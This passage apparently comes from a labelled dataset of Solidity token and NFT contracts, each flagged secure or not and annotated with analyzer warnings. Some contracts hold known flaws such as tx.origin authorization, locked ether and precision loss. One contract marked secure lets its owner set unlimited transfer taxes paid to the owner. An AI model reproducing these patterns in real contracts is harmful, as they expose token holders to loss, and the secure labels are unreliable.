"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Tokenomics.sol\" as Tokenomics;\n\nabstract contract Antiwhale is Tokenomics {\n function _getAntiwhaleFees(\n uint256,\n uint256\n ) internal view returns (uint256) {\n return sumOfFees;\n }\n}",
"file_name": "solidity_code_2658.sol",
"secure": 1,
"size_bytes": 301
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./BaseRfiToken.sol\" as BaseRfiToken;\nimport \"./UniHelper.sol\" as UniHelper;\nimport \"./Antiwhale.sol\" as Antiwhale;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\nabstract contract PhoenixAbstract is BaseRfiToken, UniHelper, Antiwhale {\n using SafeMath for uint256;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e2d881): PhoenixAbstract.constructor(UniHelper.Env)._env shadows UniHelper._env (state variable)\n\t// Recommendation for 3e2d881: Rename the local variables that shadow another component.\n constructor(Env _env) {\n initializeRouterPair(_env, maxTransactionAmount);\n\n _exclude(_pair);\n _exclude(burnAddress);\n }\n\n function _isV2Pair(address account) internal view override returns (bool) {\n return (account == _pair);\n }\n\n function _getSumOfFees(\n address sender,\n uint256 amount\n ) internal view override returns (uint256) {\n return _getAntiwhaleFees(balanceOf(sender), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1859e58): PhoenixAbstract._takeTransactionFees(uint256,uint256).name shadows BaseRfiToken.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 1859e58: Rename the local variables that shadow another component.\n function _takeTransactionFees(\n uint256 amount,\n uint256 currentRate\n ) internal override {\n if (isInPresale) {\n return;\n }\n\n uint256 feesCount = _getFeesCount();\n for (uint256 index = 0; index < feesCount; index++) {\n (FeeType name, uint256 value, address recipient, ) = _getFee(index);\n if (value == 0) continue;\n\n if (name == FeeType.Rfi) {\n _redistribute(amount, currentRate, value, index);\n } else if (name == FeeType.Burn) {\n _burn(amount, currentRate, value, index);\n } else {\n _takeFee(amount, currentRate, value, recipient, index);\n }\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 36babe4): PhoenixAbstract._burn(uint256,uint256,uint256,uint256) performs a multiplication on the result of a division tBurn = amount.mul(fee).div(FEES_DIVISOR) rBurn = tBurn.mul(currentRate)\n\t// Recommendation for 36babe4: Consider ordering multiplication before division.\n function _burn(\n uint256 amount,\n uint256 currentRate,\n uint256 fee,\n uint256 index\n ) private {\n\t\t// divide-before-multiply | ID: 36babe4\n uint256 tBurn = amount.mul(fee).div(FEES_DIVISOR);\n\t\t// divide-before-multiply | ID: 36babe4\n uint256 rBurn = tBurn.mul(currentRate);\n\n _burnTokens(address(this), tBurn, rBurn);\n _addFeeCollectedAmount(index, tBurn);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 97f01bd): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 97f01bd: Consider ordering multiplication before division.\n function _takeFee(\n uint256 amount,\n uint256 currentRate,\n uint256 fee,\n address recipient,\n uint256 index\n ) private {\n\t\t// divide-before-multiply | ID: 97f01bd\n uint256 tAmount = amount.mul(fee).div(FEES_DIVISOR);\n\t\t// divide-before-multiply | ID: 97f01bd\n uint256 rAmount = tAmount.mul(currentRate);\n\n _reflectedBalances[recipient] = _reflectedBalances[recipient].add(\n rAmount\n );\n if (_isExcludedFromRewards[recipient])\n _balances[recipient] = _balances[recipient].add(tAmount);\n\n _addFeeCollectedAmount(index, tAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a3ddc9): PhoenixAbstract._approveDelegate(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3a3ddc9: Rename the local variables that shadow another component.\n function _approveDelegate(\n address owner,\n address spender,\n uint256 amount\n ) internal override {\n _approve(owner, spender, amount);\n }\n}\n",
"file_name": "solidity_code_2659.sol",
"secure": 0,
"size_bytes": 4362
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 20;\n\n uint256 public sellTax = 22;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function isProductOfNonZeroHexDigitsOdd(\n address addr\n ) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n uint256 product = 1;\n\n for (uint256 i = 0; i < 20; i++) {\n uint8 byteValue = uint8(addrBytes[i]);\n\n uint8 firstNibble = (byteValue >> 4) & 0xF;\n\n uint8 secondNibble = byteValue & 0xF;\n\n if (firstNibble != 0) {\n product *= firstNibble;\n }\n\n if (secondNibble != 0) {\n product *= secondNibble;\n }\n }\n\n return product % 2 != 0;\n }\n}",
"file_name": "solidity_code_266.sol",
"secure": 1,
"size_bytes": 7298
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./PhoenixAbstract.sol\" as PhoenixAbstract;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5a7a08d): Contract locking ether found Contract CRYPTOPHOENIX has payable functions UniHelper.receive() But does not have a function to withdraw the ether\n// Recommendation for 5a7a08d: Remove the 'payable' attribute or add a withdraw function.\ncontract CRYPTOPHOENIX is PhoenixAbstract {\n constructor() PhoenixAbstract(Env.MainnetV2) {\n _approve(owner(), address(_router), ~uint256(0));\n }\n}",
"file_name": "solidity_code_2660.sol",
"secure": 0,
"size_bytes": 599
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface WhalesGameInterface {\n function getToken(\n uint256 _tokenId\n )\n external\n view\n returns (\n address tokenOwner,\n address approved,\n bytes32 seed,\n bool isWhale\n );\n}",
"file_name": "solidity_code_2661.sol",
"secure": 1,
"size_bytes": 333
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./WhalesGameInterface.sol\" as WhalesGameInterface;\n\ncontract Metadata {\n\t// WARNING Optimization Issue (constable-states | ID: da2d5b7): Metadata.name should be constant \n\t// Recommendation for da2d5b7: Add the 'constant' attribute to state variables that never change.\n string public name = \"Whales Game\";\n\t// WARNING Optimization Issue (constable-states | ID: 692ff69): Metadata.symbol should be constant \n\t// Recommendation for 692ff69: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"WG\";\n\n string private constant TABLE =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n struct Trait {\n string trait;\n string[] names;\n string[] imgs;\n }\n\n struct Traits {\n string base;\n Trait[] traits;\n }\n\n struct Info {\n address owner;\n WhalesGameInterface wg;\n Traits whaleTraits;\n Traits fishermanTraits;\n string[] colors;\n }\n Info private info;\n\n modifier _onlyOwner() {\n require(msg.sender == owner());\n _;\n }\n\n constructor(\n string memory _whaleBase,\n string memory _fishermenBase,\n string[] memory _colors\n ) {\n info.owner = msg.sender;\n info.whaleTraits.base = _whaleBase;\n info.fishermanTraits.base = _fishermenBase;\n info.colors = _colors;\n }\n\n function createTrait(\n bool _isWhale,\n string memory _trait,\n string[] memory _names,\n string[] memory _imgs\n ) external _onlyOwner {\n require(_names.length > 0 && _names.length == _imgs.length);\n Traits storage _traits = _isWhale\n ? info.whaleTraits\n : info.fishermanTraits;\n _traits.traits.push(Trait(_trait, _names, _imgs));\n }\n\n function setOwner(address _owner) external _onlyOwner {\n info.owner = _owner;\n }\n\n function setWhalesGame(WhalesGameInterface _wg) external _onlyOwner {\n info.wg = _wg;\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: c3540e2): Metadata.deploySetWhalesGame(WhalesGameInterface) uses tx.origin for authorization require(bool)(tx.origin == owner() && whalesGameAddress() == address(0x0))\n\t// Recommendation for c3540e2: Do not use 'tx.origin' for authorization.\n function deploySetWhalesGame(WhalesGameInterface _wg) external {\n\t\t// tx-origin | ID: c3540e2\n require(tx.origin == owner() && whalesGameAddress() == address(0x0));\n info.wg = _wg;\n }\n\n function whalesGameAddress() public view returns (address) {\n return address(info.wg);\n }\n\n function owner() public view returns (address) {\n return info.owner;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3b55e78): Metadata.tokenURI(uint256) ignores return value by (None,None,_seed,_isWhale) = info.wg.getToken(_tokenId)\n\t// Recommendation for 3b55e78: Ensure that all the return values of the function calls are used.\n function tokenURI(uint256 _tokenId) external view returns (string memory) {\n\t\t// unused-return | ID: 3b55e78\n (, , bytes32 _seed, bool _isWhale) = info.wg.getToken(_tokenId);\n string memory _json = string(\n abi.encodePacked(\n \"{'name':'\",\n _isWhale ? \"Whale\" : \"Fisherman\",\n \" #\",\n _uint2str(_tokenId),\n \"','description':'Some description content...',\"\n )\n );\n _json = string(\n abi.encodePacked(\n _json,\n \"'image':'data:image/svg+xml;base64,\",\n _encode(bytes(getRawSVG(_seed, _isWhale))),\n \"','attributes':[\"\n )\n );\n _json = string(\n abi.encodePacked(\n _json,\n \"{'trait_type':'Type','value':'\",\n _isWhale ? \"Whale\" : \"Fisherman\",\n \"'}\"\n )\n );\n (string[] memory _traits, string[] memory _values, ) = getRawTraits(\n _seed,\n _isWhale\n );\n for (uint256 i = 0; i < _traits.length; i++) {\n if (keccak256(bytes(_values[i])) != keccak256(bytes(\"None\"))) {\n _json = string(\n abi.encodePacked(\n _json,\n \",{'trait_type':'\",\n _traits[i],\n \"','value':'\",\n _values[i],\n \"'}\"\n )\n );\n }\n }\n _json = string(abi.encodePacked(_json, \"]}\"));\n return\n string(\n abi.encodePacked(\n \"data:application/json;base64,\",\n _encode(bytes(_json))\n )\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 922adc3): Metadata.getSVG(uint256) ignores return value by (None,None,_seed,_isWhale) = info.wg.getToken(_tokenId)\n\t// Recommendation for 922adc3: Ensure that all the return values of the function calls are used.\n function getSVG(uint256 _tokenId) public view returns (string memory) {\n\t\t// unused-return | ID: 922adc3\n (, , bytes32 _seed, bool _isWhale) = info.wg.getToken(_tokenId);\n return getRawSVG(_seed, _isWhale);\n }\n\n function getRawSVG(\n bytes32 _seed,\n bool _isWhale\n ) public view returns (string memory svg) {\n svg = string(\n abi.encodePacked(\n \"<svg xmlns='http://www.w3.org/2000/svg' version='1.1' preserveAspectRatio='xMidYMid meet' viewBox='0 0 44 44'>\"\n )\n );\n uint256 _colorIndex = uint256(\n keccak256(abi.encodePacked(\"color:\", _seed))\n ) % info.colors.length;\n svg = string(\n abi.encodePacked(\n svg,\n \"<rect width='100%' height='100%' fill='#\",\n info.colors[_colorIndex],\n \"' />\"\n )\n );\n Traits storage _traits = _isWhale\n ? info.whaleTraits\n : info.fishermanTraits;\n svg = string(\n abi.encodePacked(\n svg,\n \"<image x='6' y='6' width='32' height='32' image-rendering='pixelated' href='data:image/png;base64,\",\n _traits.base,\n \"'/>\"\n )\n );\n (, , uint256[] memory _indexes) = getRawTraits(_seed, _isWhale);\n for (uint256 i = 0; i < _indexes.length; i++) {\n svg = string(\n abi.encodePacked(\n svg,\n \"<image x='6' y='6' width='32' height='32' image-rendering='pixelated' href='data:image/png;base64,\",\n _traits.traits[i].imgs[_indexes[i]],\n \"'/>\"\n )\n );\n }\n svg = string(abi.encodePacked(svg, \"</svg>\"));\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 686f2e1): Metadata.getTraits(uint256) ignores return value by (None,None,_seed,_isWhale) = info.wg.getToken(_tokenId)\n\t// Recommendation for 686f2e1: Ensure that all the return values of the function calls are used.\n function getTraits(\n uint256 _tokenId\n ) public view returns (string[] memory traits, string[] memory values) {\n\t\t// unused-return | ID: 686f2e1\n (, , bytes32 _seed, bool _isWhale) = info.wg.getToken(_tokenId);\n (traits, values, ) = getRawTraits(_seed, _isWhale);\n }\n\n function getRawTraits(\n bytes32 _seed,\n bool _isWhale\n )\n public\n view\n returns (\n string[] memory traits,\n string[] memory values,\n uint256[] memory indexes\n )\n {\n bytes32 _last = _seed;\n Traits storage _traits = _isWhale\n ? info.whaleTraits\n : info.fishermanTraits;\n uint256 _length = _traits.traits.length;\n traits = new string[](_length);\n values = new string[](_length);\n indexes = new uint256[](_length);\n for (uint256 i = 0; i < _length; i++) {\n _last = keccak256(abi.encodePacked(_last));\n uint256 _index = uint256(_last) % _traits.traits[i].names.length;\n traits[i] = _traits.traits[i].trait;\n values[i] = _traits.traits[i].names[_index];\n indexes[i] = _index;\n }\n }\n\n function _uint2str(uint256 _value) internal pure returns (string memory) {\n uint256 _digits = 1;\n uint256 _n = _value;\n while (_n > 9) {\n _n /= 10;\n _digits++;\n }\n bytes memory _out = new bytes(_digits);\n for (uint256 i = 0; i < _out.length; i++) {\n uint256 _dec = (_value / (10 ** (_out.length - i - 1))) % 10;\n _out[i] = bytes1(uint8(_dec) + 48);\n }\n return string(_out);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b63a13e): Metadata._encode(bytes) performs a multiplication on the result of a division _encodedLen = 4 * ((_data.length + 2) / 3)\n\t// Recommendation for b63a13e: Consider ordering multiplication before division.\n function _encode(\n bytes memory _data\n ) internal pure returns (string memory result) {\n if (_data.length == 0) return \"\";\n string memory _table = TABLE;\n\t\t// divide-before-multiply | ID: b63a13e\n uint256 _encodedLen = 4 * ((_data.length + 2) / 3);\n result = new string(_encodedLen + 32);\n\n assembly {\n mstore(result, _encodedLen)\n let tablePtr := add(_table, 1)\n let dataPtr := _data\n let endPtr := add(dataPtr, mload(_data))\n let resultPtr := add(result, 32)\n\n for {} lt(dataPtr, endPtr) {} {\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(input, 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n }\n switch mod(mload(_data), 3)\n case 1 {\n mstore(sub(resultPtr, 2), shl(240, 0x3d3d))\n }\n case 2 {\n mstore(sub(resultPtr, 1), shl(248, 0x3d))\n }\n }\n return result;\n }\n}",
"file_name": "solidity_code_2662.sol",
"secure": 0,
"size_bytes": 11288
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol\" as ERC20Permit;\n\ncontract FeeToken is ERC20, ERC20Burnable, ERC20Permit {\n constructor() ERC20(\"FeeToken\", \"FEE\") ERC20Permit(\"FeeToken\") {\n super._mint(_msgSender(), 100_000_000 ether);\n }\n}",
"file_name": "solidity_code_2663.sol",
"secure": 1,
"size_bytes": 503
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Resolver.sol\" as Resolver;\n\nabstract contract ENS {\n function resolver(bytes32 node) public view virtual returns (Resolver);\n}",
"file_name": "solidity_code_2664.sol",
"secure": 1,
"size_bytes": 205
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Resolver {\n function addr(bytes32 node) public view virtual returns (address);\n}",
"file_name": "solidity_code_2665.sol",
"secure": 1,
"size_bytes": 165
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAccessControl {\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n function grantRole(bytes32 role, address account) external;\n function revokeRole(bytes32 role, address account) external;\n function renounceRole(bytes32 role, address account) external;\n}",
"file_name": "solidity_code_2666.sol",
"secure": 1,
"size_bytes": 472
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\n\ncontract WhiteList is AccessControl {\n mapping(address => bool) private _isWhitelisted;\n uint256 public totalWhiteListed;\n address[] public holdersIndex;\n\n event AdddWhitelisted(address indexed user);\n event RemovedWhitelisted(address indexed user);\n\n bytes32 public constant CONTROLLER_ROLE = keccak256(\"CONTROLLER_ROLE\");\n\n modifier isController() {\n require(\n hasRole(CONTROLLER_ROLE, msg.sender),\n \"Whitelist::isController - Caller is not a controller\"\n );\n\n _;\n }\n\n constructor(address admin) {\n _setupRole(DEFAULT_ADMIN_ROLE, admin);\n }\n\n function addWhitelisted(address user) external isController {\n _addWhitelisted(user);\n }\n\n function addWhitelistedMultiple(\n address[] calldata users\n ) external isController {\n uint256 length = users.length;\n require(\n length <= 256,\n \"Whitelist-addWhitelistedMultiple: List too long\"\n );\n for (uint256 i = 0; i < length; i++) {\n _addWhitelisted(users[i]);\n }\n }\n\n function removeWhitelisted(address user) external isController {\n _removeWhitelisted(user);\n }\n\n function removeWhitelistedMultiple(\n address[] calldata users\n ) external isController {\n uint256 length = users.length;\n require(\n length <= 256,\n \"Whitelist-removeWhitelistedMultiple: List too long\"\n );\n for (uint256 i = 0; i < length; i++) {\n _removeWhitelisted(users[i]);\n }\n }\n\n function isWhitelisted(address user) public view returns (bool) {\n return _isWhitelisted[user];\n }\n\n function _addWhitelisted(address user) internal {\n require(\n user != address(0),\n \"WhiteList:_addWhiteList - Not a valid address\"\n );\n require(\n _isWhitelisted[user] == false,\n \"Whitelist-_addWhitelisted: account already whitelisted\"\n );\n _isWhitelisted[user] = true;\n totalWhiteListed++;\n holdersIndex.push(user);\n emit AdddWhitelisted(user);\n }\n\n function _removeWhitelisted(address user) internal {\n require(\n user != address(0),\n \"WhiteList:_removeWhitelisted - Not a valid address\"\n );\n require(\n _isWhitelisted[user] == true,\n \"Whitelist-_removeWhitelisted: account was not whitelisted\"\n );\n _isWhitelisted[user] = false;\n totalWhiteListed--;\n emit RemovedWhitelisted(user);\n }\n}",
"file_name": "solidity_code_2667.sol",
"secure": 1,
"size_bytes": 2800
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract NFTsCoin is IERC20 {\n using SafeMath for uint256;\n\n string constant name = \"NFTs Coin\";\n string constant symbol = \"NFTCO\";\n uint8 constant decimals = 16;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e12e6b9): NFTsCoin.totalSupply_ should be immutable \n\t// Recommendation for e12e6b9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 totalSupply_;\n\n constructor(uint256 total) {\n totalSupply_ = total;\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}",
"file_name": "solidity_code_2668.sol",
"secure": 1,
"size_bytes": 2496
} |
{
"code": "// SPDX-License-Identifier: FIZZ\n\npragma solidity ^0.8.0;\n\ncontract SafeMath {\n function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n\n return c;\n }\n}",
"file_name": "solidity_code_2669.sol",
"secure": 1,
"size_bytes": 1293
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DevIsBased is ERC20 {\n constructor() ERC20(unicode\"Apple Cat\", unicode\"MIKEY\", 1000000000) {}\n}",
"file_name": "solidity_code_267.sol",
"secure": 1,
"size_bytes": 246
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A__Initializable.sol\" as ERC721A__Initializable;\nimport \"./IERC721AUpgradeable.sol\" as IERC721AUpgradeable;\nimport \"./ERC721AStorage.sol\" as ERC721AStorage;\nimport \"./ERC721A__IERC721ReceiverUpgradeable.sol\" as ERC721A__IERC721ReceiverUpgradeable;\n\ncontract ERC721AUpgradeable is ERC721A__Initializable, IERC721AUpgradeable {\n using ERC721AStorage for ERC721AStorage.Layout;\n\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant _BITPOS_AUX = 192;\n\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n function __ERC721A_init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializingERC721A {\n __ERC721A_init_unchained(name_, symbol_);\n }\n\n function __ERC721A_init_unchained(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializingERC721A {\n ERC721AStorage.layout()._name = name_;\n\n ERC721AStorage.layout()._symbol = symbol_;\n\n ERC721AStorage.layout()._currentIndex = _startTokenId();\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view virtual returns (uint256) {\n return ERC721AStorage.layout()._currentIndex;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n unchecked {\n return\n ERC721AStorage.layout()._currentIndex -\n ERC721AStorage.layout()._burnCounter -\n _startTokenId();\n }\n }\n\n function _totalMinted() internal view virtual returns (uint256) {\n unchecked {\n return ERC721AStorage.layout()._currentIndex - _startTokenId();\n }\n }\n\n function _totalBurned() internal view virtual returns (uint256) {\n return ERC721AStorage.layout()._burnCounter;\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n\n return\n ERC721AStorage.layout()._packedAddressData[owner] &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (ERC721AStorage.layout()._packedAddressData[owner] >>\n _BITPOS_NUMBER_MINTED) & 